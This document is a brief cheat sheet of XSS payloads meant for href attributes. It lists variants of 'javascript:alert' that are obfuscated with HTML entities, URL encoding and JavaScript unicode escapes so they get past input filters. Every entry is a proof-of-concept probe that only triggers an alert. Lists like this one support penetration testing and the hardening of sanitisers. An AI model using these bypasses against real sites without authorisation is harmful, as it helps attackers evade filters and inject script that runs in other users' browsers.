XSS payloads for href

href_bypass.html

<!--javascript -->
ja&Tab;vascript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()

<!--::colon:: -->
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)
javascript&#x3A;alert()

<!-- alert -->
#HTML entities/encode:
javascript:alert&lpar;&rpar;
javascript:al&#x65;rt``

#url encoding:
javascript:alert%60%60
javascript:x='%27-alert(1)-%27';
javascript:%61%6c%65%72%74%28%29

#JS unicode 
javascript:a\u006Cert``"
javascript:\u0061\u006C\u0065\u0072\u0074``